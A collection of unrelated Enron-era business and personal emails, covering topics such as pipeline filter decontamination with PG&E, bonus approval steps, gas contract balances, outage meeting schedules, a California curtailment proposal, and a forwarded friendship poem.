2.	At the time Accro payouts were approved for payment relative to financial close, the projected NPV of cash flows related to Enron's interest was $18.331 million.  An updated NPV calculation, reviewed and signed off on by RAC is required, to determine what, if any, additional payments might be presented to the Compensation Committee for approval.  Norm Spalding has supplied December financials to Compensation and can supply them to the appropriate RAC individual.  By copy of this email to Rick Buy, I am asking who in RAC is available to review the financials.  Have you spoken to anyone in RAC about this project?  

I think the process will entail:
1.	Sign off by RAC.
2.	Sign off by Jim Hughes and Stan Horton.
3.	Sign off by Compensation Committee.
4.	Sign off by Creditor Committee and possibly E&Y even though these are bonuses associated with non-debtor entity.

Mike   
We completed the decontamination on both of the filter separators on the 
discharge of the Solexol Plant.  There was a thin film of an oily substance 
(presumably Solexol) on the interior wall of the filter separators.  However, 
both sets of filters were very clean.  No moisture was present on the filters 
and there was not any sludge or build up on any of the filters.  The filters 
that were removed had the same appearance of a brand new filter.  As a matter 
or fact, when you laid a new filter beside a used filter you could not tell a 
difference.  The filters being used are a Sock type filter and when you ran 
your hand across the filters you could not detect the presence of any 
moisture at all.

So, it's presumed that the system has been completely absent of any liquid.  
The small amounts of liquid being collected from week to week for sampling 
must have been accumulated from the run down or film, pre-existing on the 
interior of the filter separator housing.  A decontamination and triple rinse 
of each filter separator should result in a total absence of any liquid for 
future samples, other than the remaining soap and water used for the final 
rinse that could not be drained from the vessels.

Rich and I visited the Topock compressor station this morning and reviewed 
the sampling point on PG&E's inlet scrubber.  Rich made the recommendation to 
Randy Williams and Rick Bezanson (PG&E) that future samples be taken straight 
off the bottom of the scrubber rather than from PG&E's 1000 gallon blow down 
tank.  The purpose of this was to reduce the exposure to contaminating future 
samples with pre-existing PCB's that may have collected in the 1000 gallon 
blow down tank over a period of time.  PG&E agreed to sample from this point 
on future collections.

Both of the discharge lines on each filter separator at the Solexol plant 
have been hot tapped in preparation of Solexol injection.  Piping has been 
installed and pumps are in place to accommodate the Solexol injection as 
well.  However, NO injection of Solexol will take place until after our 
meeting next Tuesday with PG&E.

Transwestern has agreed with PG&E today to postpone our planned 
decontamination of the filter separator at Transwesterns PG&E meter station 
until April 28th, at which time Transwestern and PG&E will perform a 
decontamination of both TW's and PG&E's filter separators simultaneously.   

               Thanks, Tiny

---------------------- Forwarded by David Roensch/ET&S/Enron on 04/09/99 
05:51 PM ---------------------------

Rich Jolly
04/08/99 11:46 PM

To: Michel E Nelson@Enron
cc: Rick Cates/ET&S/Enron@Enron, Jeffery Fawcett/ET&S/Enron@Enron, Dan 
Pribble/ET&S/Enron@Enron, Larry Campbell/ET&S/Enron@Enron, Earl 
Chanley/ET&S/Enron@Enron, Arnie Bailey/ET&S/Enron@Enron, Bob Bandel@Enron, 
Roger Osborn/ET&S/Enron@Enron, David Roensch@ENRON, Rick 
Smith/ET&S/Enron@Enron, Louis Soldano/ET&S/Enron@Enron 

Subject: PG&E UPDATE

Mike
We completed decontamination of the inlet filter at the selexol plant today. 
It was dirty but 
no liquid. There was some dried sludge in the bottom of the vessel and the 
filters were 
extremely dirty. We plan to do both of the filters on the discharge side 
tomorrow.I got a phone 
messsage from Jeff and he hasn't heard anything from PGE since the letter was 
sent . We will 
plan to bypass and clean the filter on the west side of the river, last one 
on our system Saturday
unless we hear something different tomorrow. We will notify the PGE operators 
of their plant 
tomorrow of our plans.If anyone needs to contact me my pager number is 
1-800-921-9564 and office
phone number is 505-260-4003. Leave a message on the office phone and it will 
automatically
page me. I'll give everyone an update late tomorrow. We should have the hot 
tap valves on location 
tomorrow for the selexol injection. We plan to install the valves as soon as 
they arrive.

Thanks RJ

By the way Bisti came on line today and they plan to run it tonight and be 
back on location to 
check on the unit tomorrow.

ALL CONTRACTS ARE ISDAs:

Enron North America Corp- Contract #95000290
Enron Credit Limited- Contract #96057552
Enron Capital & Trades Resources International Contract #s: 96064558 and 96082938

ENRON CORP GUARANTIES:
3/29/1996 - $50MM covering ENA for financial transactions
3/22/2001 - $50MM coverig ENA, ECTRIC and ECTRL for financial and physical transactions

-DV

Hey Chris,

Invoice indicates that the PAL Contract number is PAL1001 for both.
Deal 1424 is the one that shows a negative (96,000) balance and Deal 1222 indicates a 266,241 balance.

Kelli's spreadsheet indicates that 8588 was sold a day Jan 1-Jan 8, 2002. This sell needs to be verified as well as the price it was sold for. If this sell is correct, the new balance would be 197,537?

Like I mentioned before, Kelli indicates that a letter was received that indicates that the 96,000 was withheld for PAL and 101,437 was withheld until payment received. I do not have a copy of the letter, but it would be helpful to know who in legal is working on this.

Ed needs to know the status of the storage and the action plan(s) to move into liquidation. Let me know.

Thanks for you help. 

Maria

Hi Dave,

Attached, please find Enron's offer for Trunkline East Louisiana volumes for the winter months ending in 2002 and 2003.

Please feel free to call me at 713-853-5772 should you have any questions.

Thank you

Tani,

Confirmed.

Vince

Tani Nath
11/07/2000 12:31 PM
cc:  
Subject: Re: Next week  

8:00 on Wednesday sounds good - I look forward to seeing you then.   

Mark,

Do u want to send anybody to this conference?

Vince
---------------------- Forwarded by Vince J Kaminski/HOU/ECT on 01/25/2000 
12:46 PM ---------------------------

Larry Chorn <lgc@roce-inc.com> on 01/25/2000 12:30:17 PM
cc:  
Subject: Real Options E&P course

Vince:

As you requested, we mailed you a brochure about our upcoming course
(2/22-4/4) in Houston.

We are now following up with that mailing to identify remaining
attendees for the session.  I wanted to make sure that we did not
overlook anyone at Enron, so I am dropping you this email to see if you
have anyone there in mind as an attendee.

Larry Chorn
972.814.5342
www.realoptions-software.com

---------------------- Forwarded by Joe A Casas/HOU/ECT on 03/07/2000 09:24 

knovsek@columbiaenergygroup.com on 03/07/2000 09:18:07 AM
To: " - *Kinney, Doug" <dkinney@columbiaenergygroup.com>, " - *Perrone, 
Brian" <bperron@columbiaenergygroup.com>, " - *jcasas2@enron.com" 
<jcasas2@enron.com>
cc: " - *Porter, Jeffrey" <jporte1@columbiaenergygroup.com>, " - *Herzog, 
Hans" <hherzog@columbiaenergygroup.com>, " - *Flewellyn, Melissa" 
<mflewellyn@columbiaenergygroup.com>, " - *Dalphon, Charles" 
<cdalpho@columbiaenergygroup.com> 
Subject: DPL OFO EXTENSION

Good Morning.  DPL has extended its OFO through Thursday March 9th.  Off TGT 
on
K#6057, I need the volume on March 9th to go from 1203 dth to 923 dth.

 The Stan Horton all employee meeting in Omaha is scheduled during the same=
 time period as this meeting. If you are attending that meeting don't worry=
 about getting to this one. Since we have very few outages to look at on th=
e north end at this time, I'm going to keep to the schedule. If there are a=
ny questions or concerns please let me know.

Thank you
Jerry Graves

Sent:=09Tuesday, January 08, 2002 1:42 PM
, Toby; Lawrence, James; Lebeau, Randy; Lowry, Phil; Maestas, Gary; Mall, G=
 Darrell; Schroeder, Jim; Smith, Rick; Spraggins, Gary; Stephens, LD; Thoma=
s, Steve; Watson, Kimberly; Williams, Jo; Williams, Walt; Abdmoulaie, Manso=
or; Alters, Dennis; Frazier, Perry; Gilbert, Maurice; Hughes, Matt; Matthew=
s, Ron; Ramsaran, Gale; Smith, Buzz; Anderson, Ken; Aschwege, Doug; Beck, J=
udy; Descoteaux, Carolyn; Dobbins, Dan; Johnson, Robert L.; Kolarik, David;=
 Reinecke, Bryan; Sans Souci, Becki; Westfall, Roger; Asante, Ben; Choquett=
e, Gary; McChane, Bob; Sturn, John; Wirasinghe, Errol
Subject:=09Outage Commercial Review Meeting  (NNG, TW & NBPL)

FYI,

The next Outage Coordination Commercial Review meeting is 01/09/02.  The pu=
 month of February & March 2002. Please review the attached outage report. =
If you have any questions, please give me a call. =20

713-345-8923=20
                          << File: 010802Ts.XLS >>                         =
                         =20
When: January  9
Time:  1:00 to 2:00
Where: Houston 42C2
             Omaha  VCR - 6th floor

 =09 =09 =09 =09 =09
NB=09CS13=0901/10/02 to 01/10/02=09Wash GG, and MP2.  (10 hrs)=09Potential =
impact is low.=09
NB=09CS09=0901/14/02 to 01/16/02=09Unit Exchange, and emissions test.=09Pot=
ential impact is low.=09
NB=09CS11=0902/19/02 to 02/19/02=09Wash GG, and MP2.  (10 hrs)=09Potential =
NB=09CS12=0903/05/02 to 03/05/02=09Wash GG, and MP2.  (10 hrs)=09Potential =

hey, baby you are the only person who e-mails anything!

i have the dental forms, can you take them to the dentist tomorrow if you get 
a chance, thanks!!

---------------------- Forwarded by Susan M Scott/HOU/ECT on 12/12/2000 08:58 
   
	From:  "Emily Hillegeist" <ehillegeist@hotmail.com>                           
12/12/2000 03:40 AM
	
To: sonderfan@hotmail.com, katyhester@hotmail.com, sscott5@enron.com
cc:  
Subject: Fwd: hey, girlfriends!

>From: Ukhawks@aol.com  
>To: bandrowski@msn.com, aboguszewski@hotmail.com, jclarke@chuck.stchas.edu, 
MMCronin00@aol.com, susiedrob@hotmail.com, SewSewGolf@aol.com, 
nfelicito.travelnetwork@us.amadeusmail.com, alana_glass@hotmail.com, 
Redfernran@aol.com, amanda_hawk@hotmail.com, ehillegeist@hotmail.com, 
JUdyH314@aol.com, OscarWanda@aol.com, SKnape@aol.com, Paulinelevin@aol.com, 
morein@worldnet.att.net, Gtn126@aol.com, roberttprice@sprintmail.com, 
RDGJJR5@aol.com, nshort@worldnet.att.net, Cinhundley@aol.com, 
paulrvirg@earthlink.net, totonj@earthlink.net, JFLEWHITE@aol.com, 
EllenUK@aol.com, swilliamson@edgellmail.com  
>Subject: Fwd: hey, girlfriends!  
>Date: Tue, 12 Dec 2000 04:30:16 EST  
>  
>  

Return-Path: <thesymingtons@email.msn.com>
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From: "thesymingtons" <thesymingtons@email.msn.com>
To: "Maggie Symington" <msymington@hotmail.com>
Subject: hey, girlfriends!
Date: Mon, 11 Dec 2000 17:15:45 -0000

Something fun to read!
>
>  I WANT WHAT SHE'S HAVING
>
> >>>> I have a new delightful friend,
> > >  > I am most in awe of her.
> > >  > When we first met I was impressed,
> > >  > By her bizarre behavior.
> > >  >
> > >  > That day I had a date with friends,
> > >  > We met to have some lunch.
> > >  > Mae had come along with them,
> > >  > All in all ... a pleasant bunch.
> > >  >
> > >  > When the menus were presented,
> > >  > We ordered salads, sandwiches, and soups.
> > >  > Except for Mae who circumvented,
> > >  > And said, Ice Cream, please: two scoops.
> > >  >
> > >  > I was not sure my ears heard right,
> > >  > And the others were aghast.
> > >  > Along with heated apple pie,
> > >  > Mae added, completely unabashed.
> > >  >
> > >  > We tried to act quite nonchalant,
> > >  > As if people did this all the time.
> > >  > But when our orders were brought out,
> > >  > I did not enjoy mine.
> > >  >
> > >  > I could not take my eyes off Mae,
> > >  > As her pie a-la-mode went down.
> > >  > The other ladies showed dismay,
> > >  > They ate their lunches silently, and frowned.
> > >  >
> > >  > Well, the next time I went out to eat,
> > >  > I called and invited Mae.
> > >  > My lunch contained white tuna meat,
> > >  > She ordered a parfait.
> > >  >
> > >  > I smiled when her dish I viewed,
> > >  > And she asked if she amused me.
> > >  > I answered, Yes, you do,
> > >  > But also you confuse me.
> > >  >
> > >  > How come you order rich desserts,
> > >  > When I feel I must be sensible?
> > >  > She laughed and said, with wanton mirth,
> > >  > I am tasting all that's possible.
> > >  >
> > >  > I try to eat the food I need,
> > >  > And do the things I should.
> > >  > But life's so short, my friend, indeed,
> > >  > I hate missing out on something good.
> > >  >
> > >  > This year I realized how old I was,
> > >  > She grinned, I've not been this old before.
> > >  > So, before I die, I've got to try,
> > >  > Those things for years I had ignored.
> > >  >
> > >  > I've not smelled all the flowers yet,
> > >  > There's too many books I have not read.
> > >  > There's more fudge sundaes to wolf down,
> > >  > And kites to be flown overhead.
> > >  >
> > >  > There are many malls I have not shopped,
> > >  > I've not laughed at all the jokes.
> > >  > I've missed a lot of Broadway Hits,
> > >  > And potato chips and cokes.
> > >  >
> > >  > I want to wade again in water,
> > >  > And feel ocean spray upon my face.
> > >  > Sit in a country church once more,
> > >  > And thank God for It's grace.
> > >  >
> > >  > I want peanut butter every day,
> > >  > Spread on my morning toast.
> > >  > I want un-timed long-distance calls,
> > >  > To the folks I love the most.
> > >  >
> > >  > I've not cried at all the movies yet,
> > >  > Nor walked in the morning rain.
> > >  > I need to feel wind in my hair,
> > >  > I want to fall in love again.
> > >  >
> > >  > So, if I choose to have dessert,
> > >  > Instead of having dinner.
> > >  > Then should I die before night fall,
> > >  > I'd say I died a winner.
> > >  >
> > >  > Because I missed out on nothing,
> > >  > I filled my heart's desire.
> > >  > I had that final chocolate mousse,
> > >  > Before my life expired.
> > >  >
> > >  > With that, I called the waitress over,
> > >  > I've changed my mind, it seems.
> > >  > I said, I want what she is having,
> > >  > Only add some more whipped-cream!
> > >  >
> > >  > Here is a little something for you all!
> > >  > We need an annual Girlfriends Day!
> > >  > If you get this twice,
> > >  > then you have more than one girlfriend.
> > >  > Be happy.
> > >  >
> > >  > ALL I NEED TO KNOW ABOUT LIFE I LEARNED FROM MY GIRLFRIENDS
> > >  >
> > >  >  * Good times are even better when they're shared.
> > >  >  * A good long talk can cure almost anything.
> > >  >  * Everyone needs someone with whom to share their secrets.
> > >  >  * Listening is just as important as talking.
> > >  >  * An understanding friend is better than a therapist...
> > >  >    and cheaper too!
> > >  >  * Laughter makes the world a happier place.
> > >  >  * Friends are like wine; they get better with age.
> > >  >  * Sometimes you just need a shoulder to cry on.
> > >  >  * Great minds think alike, especially when they are female!
> > >  >  * When it comes to "bonding," females do it better.
> > >  >  * YOU ARE NEVER TOO OLD FOR SLUMBER PARTIES!!!!
> > >  >  * Girls just want to have fun.
> > >  >  * It's important to make time to do "girl things."
> > >  >  * Calories don't count when you are having lunch
> > >  >    (or any other food) with your girlfriends.
> > >  >  * You can never have too many shoes.
> > >  >  * GEMS MAY BE PRECIOUS, BUT FRIENDSHIP IS PRICELESS!!!
> > >  >
> > >  >  PLEASE PASS THIS ON TO ALL OF YOUR GIRLFRIENDS

---------------------- Forwarded by Vince J Kaminski/HOU/ECT on 01/26/2001 
04:47 PM ---------------------------
   
	From:  V Charles Weldon                           01/22/2001 09:18 AM
	
To: Mike A Roberts/HOU/ECT@ECT, Vince J Kaminski/HOU/ECT@ECT, Stinson 
Gibner/HOU/ECT@ECT
cc:  
Subject: Turnover Document

The above referenced meeting that was scheduled for today at 2:00-5:00 in 
EB2601a has been cancelled.  I will contact everyone for a time to reschedule 
next week.

Thanks,
Mary
---------------------- Forwarded by Mary Weatherstone/HOU/ECT on 01/21/2000 

Mary Weatherstone on 01/18/2000 05:34:25 PM
To: Inja Chun/HOU/ECT@ECT, Paul F Poellinger/HOU/ECT@ECT, Dave 
Nommensen/HOU/ECT@ECT, Kevin Montagne/HOU/ECT@ECT, Michael 
Guadarrama/HOU/ECT@ECT, Robert Superty/HOU/ECT@ECT, Randall L 
Gay/HOU/ECT@ECT, George Smith/HOU/ECT@ECT, Katherine L Kelly/HOU/ECT@ECT, 
Edward Terry/HOU/ECT@ECT, Daren J Farmer/HOU/ECT@ECT
cc: Jay Webb/HOU/ECT@ECT, Heather Choate/HOU/ECT@ECT, Yvette G 
Connevey/Corp/Enron@ENRON, Cindy Cicchetti/HOU/ECT@ECT 
Subject: Usecase Analysis for Enom Mtg.

Per Jay's request the above referenced meeting has been scheduled for Friday, 
January 21st at 2:00 - 5:00 in EB2601a.

Please plan on attending.  If you cannot attend, please let me know ASAP.

Thanks,
Mary

fyi...

---------------------- Forwarded by Sheila Glover/HOU/ECT on 03/09/2000 08:11 
   
	From:  Samantha T Davidson                           03/08/2000 09:07 PM
	
To: Ted Murphy/HOU/ECT@ECT, David Port/Corp/Enron@ENRON
cc: Tanya Tamarchenko/HOU/ECT@ECT, Sheila Glover/HOU/ECT@ECT, William Patrick 
Lewis/HOU/ECT@ECT, Mike Fowler/Corp/Enron@ENRON 
Subject: Backtesting Graphs for SemiVariance VaR

Per your request, please review the graphs below for comparision of 
backtesting results between the current VaR model and the same model
using semivariance.  In conclusion, the proposed VaR tuning (RLPM)
backtests as well as the current method given the data sample used.
Gary has requested that this method be approved and adopted 
as the current method is not reflecting only the directional risk associated
with his positions.  Upon approval, method can be implemented immediately.

In Thousands:

Amy,

Please note that I would like to interview for the trader assistant positions for both the cash desk and the term desk.

Bert Meyers
Portland WSCC Real Time Desk
503-880-5315

Question:

Do we have a schedule of assets to be involved in the transaction?  I recall 
that Janelle had some stuff that wasn't on the list.

Thanks,

Kay

If this program is implemented for all customers, including DA customers, and 
our DA customers get interrupted, we will find ourselves with more energy 
than load during the high price periods.  However, I understand that our 
customers have business concerns and expect us to represent their interests.  
Although we could recommend a pay for curtailment program, this would raise: 
1) parity issues between small and large customers that are curtailed; 2) 
recovery concerns by the utilities; 3) administrative implementation issues; 
and 4) rate increase issues for ratepayers to fund such a program.

John Wack
09/26/2000 07:57 AM
To: Jess Galura/HOU/EES@EES
cc: Jeff Nieland/HOU/EES@Exchange, Jeff Dasovich/NA/Enron@Enron, Roger 
Yang/SFO/EES@EES 
Subject: FW: Transmission curtailments - PG&E Proposal

Jess,  what do know about this?  If you have any info let Jeff Nieland 
know.   

Jeff  N.,  I am not familiar with the Cal. EEP.  In most state it is not 
unusual for transmission customer (usually all the  customers are involved)  
to be part of the plans.  Jeff Dasovich or Roger Yang may have more details. 

---------------------- Forwarded by John Wack/HOU/EES on 09/26/2000 07:50 AM 
From: Jeff Nieland/HOU/EES@Exchange on 09/25/2000 07:10 PM
To: Tom Riley/Western Region/The Bentley Company@Exchange, John 
Wack/HOU/EES@EES, Ress Young/HOU/EES@EES
cc: Chris Holmes/HOU/EES@EES 

Do we have any influence over this issue with our direct access customers in 
California?  IBM San Jose is on an interruptible transmission tariff and is 
concerned about the proposed Mandatory Curtailment Plan.  I would appreciate 
any comments.

Thanks

Jeff

Tom - Who would you recommend asking to comment from our regulatory 
department?

From: Nieland, Jeff 
Sent: Monday, September 25, 2000 6:29 PM
To: '"Kumar De Silva/San Jose/IBM" <kdesilva@us.ibm.com>@ENRON@EES'
Cc: "lguest" <lguest@us.ibm.com>; "Gregory G Peterson/Raleigh/IBM" 
<petegreg@us.ibm.com>
Subject: RE: Transmission curtailments - PG&E Proposal

Kumar,

I have distributed the plan to our commodity and regulatory departments for 
comments.  After receiving their comments, I will summarize and forward.  
Please contact me with questions.

Thanks

Jeff

From: "Kumar De Silva/San Jose/IBM" <kdesilva@us.ibm.com>@ENRON@EES 
Sent: Wednesday, September 20, 2000 5:34 PM
To: Jeff_Nieland@enron.com
Subject: Re: Transmission curtailments - PG&E Proposal

Jeff,
We are concerned about the impact of the proposed Mandatory Curtailment
Plan.\ (Please see Lynn's Note below)   Please review from a commodity
provider standpoint.  In your opinion, is it fair for us to be subject to
such legislation while we are a Direct Access Customer?

I would appreciate your comments.

Regards,

Kumar

Facilities Engineering Manager
Department K3MA-124,  Office 12-4A052
IBM Real Estate and Site Operations
5600 Cottle Road, San Jose,  California 95193

Tel: (408) 256-1004, Tie Line: 8-276-1004,  Fax: (408) 256-2699,
---------------------- Forwarded by Kumar De Silva/San Jose/IBM on
09/20/2000 03:03 PM ---------------------------

Lynn Guest
09/15/2000 11:28 AM

To:   Kumar De Silva/San Jose/IBM@IBMUS, Ray Dias/Almaden/IBM@IBMUS, Aida
      Maciel/San Jose/IBM@IBMUS, John Lattyak/San Jose/IBM@IBMUS
cc:
From: Lynn Guest/Almaden/IBM@ibmus
Subject:  Re: Transmission curtailments - PG&E Proposal

Here is a soft copy of what I faxed you yesterday.

Lynn Guest
  Site Operations Manager, Almaden Research Center

IBM Corporation
650 Harry Road, M/S - G2
San Jose, CA 95120-6099
(408) 927-1529  or Tie line 8-457-1529
Fax (408) 927-1230

E-Mail:  LGUEST@US.IBM.COM
---------------------- Forwarded by Lynn Guest/Almaden/IBM on 09/15/2000
11:30 AM ---------------------------

Pam Ross <pross@camfg.com> on 09/14/2000 10:02:31 AM

To:   Alan Amrhein <amrhein@ppg.com>, Allan Warman
      <allan.p.warman@boeing.com>, Barry Hughes
      <Barry.L.Hughes@boeing.com>, Bill Guernsey <bill.guernsey@trw.com>,
      Bill Zobel <bzobel@mail.arco.com>, Bryan Campanaro
      <bcampana@kcc.com>, Cameron Raether <paccoast@mctcnet.net>, Carl
      Nordquist <carl.j.nordquist@boeing.com>, Carolyn Kehrein
      <cmkehrein@ems-ca.com>, Dan Fink <daniel.L.fink@boeing.com>, Dan
      Green <dgreen@ppg.com>, David Mills <david.m.mills@honeywell.com>,
      "Denis St. Jean" <dstjean@tosco.com>, Dorothy Rothrock
      <drothrock@camfg.com>, Ed Munoz <emunoz@west.raytheon.com>, Fred
      Mazurski <fmazurski@usg.com>, Gene Hill <ghill@kcc.com>, Glenn
      Sheeren <gsheere2@iccnet.com>, Jeff Byron <jbyron@us.oracle.com>, Jim
      Schultz <Jim_Schultz@cargill.com>, Jim Wikenczy
      <Jim_Wikenczy@mail.tmmna.com>, Joanne Horalek <jhoralek@smurfit.com>,
      John Norris <John.Norris@HSC.com>, Karen Jarrell
      <kjarrell@smurfit.com>, Karen Lindh <karen@klindh.com>, Keith McCrea
      <kmccrea@sablaw.com>, Ky Kennedy <kkennedy@usg.com>, Larry Voronyak
      <larry.voronyak@borax.com>, Lynn Guest/Almaden/IBM@IBMUS, Mark
      Mithers <mithema@mail.northgrum.com>, Mark Nelson
      <Mark_Nelson@hp.com>, Mark Skowronski
      <mark.skowronski@honeywell.com>, Miles Keefe
      <emkeefe@west.raytheon.com>, Noel Brown <noel.brown@ct.sgcna.com>,
      Pam Ross <pross@camfg.com>, Richard Hall <richard.c.hall@intel.com>,
      Roland Buchs <BUCHS@imcchemicals.com>, Russell Boston
      <reboston@ppg.com>, Scott Potterack <Scott.Potterack@owens-ill.com>,
      Stacy Roscoe <roscoesa@pg.com>, Steve Bloch
      <steven.bloch@alliedsignal.com>, Steve Watson
      <swatson@ballfoster.com>, Tim Treichelt <tntreich@gapac.com>, Tony
      Fisher <tfisher@nummi.com>
cc:

This is the item regarding mandatory curtailment Karen Jarrell
referenced to in her note.

Subject: Transmission curtailments - PG&E Proposal
Date: Thu, 14 Sep 2000 07:51:51 -0700
From: Dorothy Rothrock <drothrock@camfg.com>
Organization: CMTA
To: pross@cmta.net

From: Shaffer, Clyde [mailto:CWS1@pge.com]
Sent: Monday, September 11, 2000 5:34 PM
To: 'dgreen@ppg.com'; 'kohr@ppg.com'
Subject: Transmission curtailments - Proposal

Hi Dan and Tom,

Greetings.  I hope all is well with both of you and PPG.

I recently received information that transmission voltage customers will
likely be required to be involved in the Electric Emergency Plan (EEP)
in the future.  Currently transmission customers are not "required" to
curtail any load when distribution circuits are taken off line as a
result of a Stage 3 EEP operation.

Please take a look at the attachment below and if possible provide
comments to help shape the proposed change.  I will need comments by
this Friday noon if possible.  Thanks for the input.

Clyde Shaffer
Co.: 821-5549
Outside: (559)263-5549
Email: cws1@pge.com

(See attached file: MANDATORY CURTAILMENT PLAN.doc)

 - MANDATORY CURTAILMENT PLAN.doc << File: MANDATORY CURTAILMENT PLAN.doc >> 

I just showed Ed McMichael the sitara position screens for the East and Central Desk for March 1st.  There are volumes all over the place.  I asked him who should be taking these volumes to 0 since most of these deals are not physically flowing.  Ed is going to discuss this in a meeting with Bob Hall today.  

I guess my next question is should the volume be taken to 0 in Sitara or Unify.

Can you guys think of any other questions along those lines?

From: 	Fowler, Kulvinder  
Sent:	Monday, February 25, 2002 10:37 AM
Subject:	RE: Sitara deal 422054

I zeroed out the 33000/d for March - let me know if you hear anything about this deal. 

Thanks

kf

Sent:	Monday, February 25, 2002 8:24 AM
To:	Fowler, Kulvinder
Subject:	Sitara deal 422054

I'm not sure if it should be terminated but to my knowledge we are not serving this deal so it probably should be terminated.  I'm going to a "terminated contracts" meeting this morning so maybe I will find out more about how this works.  I also don't see any volumes on this deal for March.

April, I'll be in Colorado until March 10.  We can schedule next week or you 
can talk to him directly.  Currently, EBS research is helping Kevin Howard 
and Scott Yeager (indirectly via Kevin) in their effort to assess the value 
of an eyeball.  Paulo's research will complement this effort.  The research 
that Paulo will perform for you will be part of a bigger picture work that 
Kevin Howard has aked Stinson and I to support.    You can call me on my cell 
713-516-5440 while I am in CO.

Regards,

Ravi.

	April Hodgson
	03/02/00 07:13 PM
		
		 To: Stinson Gibner/HOU/ECT@ECT@ENRON
		 cc: Ravi Thuraisingham/Enron Communications@Enron Communications, Vince J 
Kaminski/HOU/ECT@ECT@ENRON
		 Subject: Re: Project brainstorming for Paulo
I will be in my office Friday and next Tuesday.  Other than that I will be 
traveling so please call me on one of those days and we can discuss this 
further.  I was in Houston this week and will be back in Houston 3/14 - 
3/16.  Let me know what works for you. 

Regards

	Stinson Gibner@ECT
	03/02/00 10:03 AM
		 
		 To: April Hodgson/Enron Communications@Enron Communications
Kaminski/HOU/ECT@ECT
		 Subject: Project brainstorming for Paulo

April:

Paulo is the MIT Ph.D. student who talked with you by phone a couple of weeks 
ago.   He is interested in trying to better define what type of project he 
might do over the summer with EBS.   Recall that he is interested in the 
psychological/customer behavior issues related to web commerce as compared to 
traditional commerce.   Perhaps the easiest way to proceed would be for you, 
me, Ravi, and Vince to get together to discuss possibilities.   We could then 
include Paulo by phone to get his initial reactions/suggestions.   After an 
initial assessment, we could then plan on another visit for Paulo.

Please let me know what your schedule would allow.

thanks,
--Stinson

---------------------- Forwarded by Stinson Gibner/HOU/ECT on 03/02/2000 
08:55 AM ---------------------------

Paulo Rocha e Oliveira <paulo@MIT.EDU> on 02/28/2000 12:19:18 PM
To: <Stinson.Gibner@enron.com>
cc:  
Subject: Re: Next meeting

Stinson -

Thanks for your reply.  I just got a call from someone at Enron today about
Summer employment, so I think a meeting with April and your group would be
very appropriate at this time.

I am available to meet with April  any day this coming month, except March
9, March 10, and March 17-30.

Please let me know what works for you.

Paulo

Please attend the following.

When: Tuesday, January 22, 2002 11:00 AM-12:00 PM (GMT-06:00) Central Time (US & Canada).
Where: ECS 05712

Everyone should be in the draft room now at 
basketball.commissioner.com/efba.  follow the draft link and go to draft room 
and click on html draft.  I am settin the order right now

Jim. 

You may find this presentation about the Cuiaba story interesting .  I 
developed it March 99 as a training tool for our new developers.  It took me 
through December 99 to negotiate the remaining PPA indexation issues.  There 
are two embedded Word files in the document (Sept 97 logs). From your 
perspective,  you can subtitle it  "make up the regulation on-the-go". Such 
is life in the developing world. When you read the log you will see that 
under the circumstances, you always have one foot in and another out (getting 
ready to terminate) 

Rick Lammers is still continuing to close financing but facing other issues. 
Primarily,  1) construction delays in the pipeline due to governmental 
interference with the route (after getting construction license), 2) 
technical problems with the Siemens turbines, 3) getting consent documents 
out of the public entity bureaucracy, 4) getting the Central Bank to clarify 
the US$ account regulations for the project.

Jose

Mike,

I'll try to figure out the conversion.  In the meanwhile, if you can email me 
your fax number I'll send it that way.

Kay

"Colo, Mike" <MSColo@POYNERSPRUILL.COM> on 07/25/2000 08:24:16 AM
To: "'Kay.Mann@enron.com'" <Kay.Mann@enron.com>, "Colo, Mike" 
<MSColo@POYNERSPRUILL.COM>, kraber@electricities.org
cc: Heather.Kroll@enron.com, Ozzie.Pagan@enron.com 

Subject: RE: Land Option

Please see the message I received.  The option is not in readable format.
Please resend.

Sent: Monday, July 24, 2000 7:42 PM
To: mscolo@poynerspruill.com; kraber@electricities.org
Cc: Heather.Kroll@enron.com; Ozzie.Pagan@enron.com
Subject: Land Option

The Microsoft Exchange Server received an Internet message that could not be
processed. To view the original message content, open the attached message. 

The attached schedule is for Thursday, May 16.  Associated text files have been posted to Sparky.

Michael R. Frazier
Manager, Load Forecasting
Enron Energy Services
Office: 713-345-3200
Pager: 877-926-0615
P-mail: 8779260615@skytel.com

I agree

	12/12/2000 06:59 PM
		 
		 cc: 

Mark:

Thanks,

Jeff

Thanks,

WK

I don't know, feeling bad because I don't do as much for you as I'd like.  
It's too bad they have us spread so thin and some have a lot more 
responsibility than others.  You KNOW I'll do anything to help you!

I really like working with you and wish we were closer so I could keep a 
better eye on you.  Old Mother Hen here.

	05/31/2001 06:55 PM
		
		 cc: 
		 Subject: Re: Cingular Bill

I give up.  How in the world did you jump to that crazy conclusion?

From: Suzanne Adams@ECT on 05/31/2001 12:22 PM
cc:  

Subject: Re: Cingular Bill  

Oh, I know she is excited about her new assistant.  I thought she was going 
to get up and dance about her.

Does this mean you gave me a bad review?

	05/31/2001 12:13 PM
		
		 cc: 

You know ES doesn't work Fridays, so that takes away one day of opportunity 
to approve them, plus she hasn't had an assistant.  Maybe things will 
improve.  She is very excited about her new assistant.

From: Suzanne Adams@ECT on 05/31/2001 12:04 PM
cc:  

I see that.  She's not real fast on approving things either.  I've submitted 
your expense report and Carol's to her.  She hasn't gotten to Carol's yet, 
and I did it a few days ago.  Haedicke isn't that fast either.  I don't think 
they like all this automation, but it really makes it so much quicker.  I'm 
going to be the queen at invoices and expense reports because I do so many of 
them.  I like both systems, but then I'm very adaptable.  

Did you give me an ok review?  

	05/31/2001 11:55 AM
		
		 cc: 

Yes, I'm officially in Elizabeth's group.  I need to ask her for a flat 
screen monitor.

From: Suzanne Adams@ECT on 05/31/2001 11:47 AM
cc:  

Ok, sending it in now.  Have you officially been changed to Elizabeth's cost 
center?  You aren't in Jeff's time site any more.  I want to make sure I send 
it to the correct person.

	05/31/2001 11:43 AM
		
		 cc: 

yes, thanks

From: Suzanne Adams@ECT on 05/31/2001 11:38 AM
cc:  

Subject: Cingular Bill

Kay, I called Cingular to see what was up with your bill.  The last payment 
was made the end of March.  Your credit card expired March, 2001.  So, you 
are not set up currently for your credit card to be charged.  I'm going to go 
ahead and expense this charge and then you'll need to pay it.  If you want it 
set up again on your credit card, you have to send Cingular a letter stating 
your wishes.

I also changed your address to this building while I had her on the phone.

Is all of this ok with you?>

Just a quick note in response to several emails regarding this Friday.

YES INDEED, Friday Night WINE BAR at Christopher's will be in full swing
this Friday night from 6 until 10 PM.

As always, we will be showcasing 45 wines by the glass and our Chef will be
offering 5 special "Plats du Jour".  Our wines by the glass are offered at
